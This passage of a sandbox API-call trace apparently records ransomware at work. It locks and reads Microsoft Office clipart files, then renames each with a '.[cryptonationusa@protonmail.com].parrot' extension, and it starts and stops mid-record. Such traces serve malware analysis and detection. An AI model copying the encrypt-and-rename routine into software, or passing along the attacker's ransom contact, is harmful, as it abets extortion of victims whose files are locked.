SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.886] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3854, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3854, lpOverlapped=0x0) returned 1 [0141.887] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.888] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x396c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0141.888] CloseHandle (hObject=0x288) returned 1 [0141.888] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281632.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281632.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281632.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281632.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0141.889] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0141.889] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0141.889] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0141.891] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2fa0, nNumberOfBytesToLockHigh=0x0) returned 1 [0141.891] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0141.891] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.024] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.024] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2e88, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2e88, lpOverlapped=0x0) returned 1 [0142.025] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.026] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2fa0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.026] CloseHandle (hObject=0x288) returned 1 [0142.026] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281638.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281638.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281638.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.028] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0142.028] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0142.028] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0142.030] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x320a, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.030] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.030] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.053] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.053] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x30f2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x30f2, lpOverlapped=0x0) returned 1 [0142.055] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.055] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x320a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.055] CloseHandle (hObject=0x288) returned 1 [0142.056] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281640.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281640.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281640.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281640.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.057] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0142.057] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0142.057] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0142.059] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3db6, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.059] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.059] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.061] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.061] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3c9e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3c9e, lpOverlapped=0x0) returned 1 [0142.063] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.063] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3db6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.063] CloseHandle (hObject=0x288) returned 1 [0142.063] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282126.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282126.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282126.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282126.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.065] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0142.065] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0142.065] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0142.067] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x827e, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.067] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.067] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.068] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.069] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8166, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x8166, lpOverlapped=0x0) returned 1 [0142.070] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.071] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x827e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.071] CloseHandle (hObject=0x288) returned 1 [0142.071] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282928.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282928.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282928.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282928.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.072] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0142.072] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0142.072] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0142.213] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3818, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.213] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.213] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.218] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.218] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3700, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3700, lpOverlapped=0x0) returned 1 [0142.219] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.221] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3818, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.221] CloseHandle (hObject=0x27c) returned 1 [0142.221] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282932.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282932.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282932.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282932.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.224] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0142.224] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0142.224] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0142.226] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x39a2, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.226] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.227] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.228] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.228] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x388a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x388a, lpOverlapped=0x0) returned 1 [0142.229] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.229] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x39a2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.229] CloseHandle (hObject=0x27c) returned 1 [0142.230] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285462.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285462.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.232] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0142.232] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0142.232] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0142.234] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2558, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.234] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.234] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.236] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.237] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2440, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2440, lpOverlapped=0x0) returned 1 [0142.238] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.238] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2558, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.238] CloseHandle (hObject=0x27c) returned 1 [0142.238] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285484.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285484.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285484.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285484.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.239] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0142.239] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0142.239] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0142.241] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7a74, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.242] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.242] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.244] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.244] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x795c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x795c, lpOverlapped=0x0) returned 1 [0142.245] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.246] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7a74, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.246] CloseHandle (hObject=0x27c) returned 1 [0142.246] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285780.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285780.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285780.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285780.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.248] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0142.248] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0142.248] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0142.252] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5356, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.252] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.252] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.258] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.259] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x523e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x523e, lpOverlapped=0x0) returned 1 [0142.261] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.261] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5356, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.261] CloseHandle (hObject=0x27c) returned 1 [0142.262] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285782.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285782.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285782.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285782.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.263] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0142.263] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0142.263] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0142.265] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2fcc, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.265] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.265] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.266] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.266] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2eb4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2eb4, lpOverlapped=0x0) returned 1 [0142.267] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.268] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2fcc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.268] CloseHandle (hObject=0x27c) returned 1 [0142.268] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285792.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285792.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285792.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285792.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.269] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0142.269] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0142.269] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0142.271] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3668, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.271] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.271] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.272] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.273] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3550, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3550, lpOverlapped=0x0) returned 1 [0142.274] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.274] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3668, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.274] CloseHandle (hObject=0x27c) returned 1 [0142.275] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285796.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285796.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285796.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285796.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.276] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0142.276] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0142.276] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0142.278] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x250c, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.278] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.278] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: 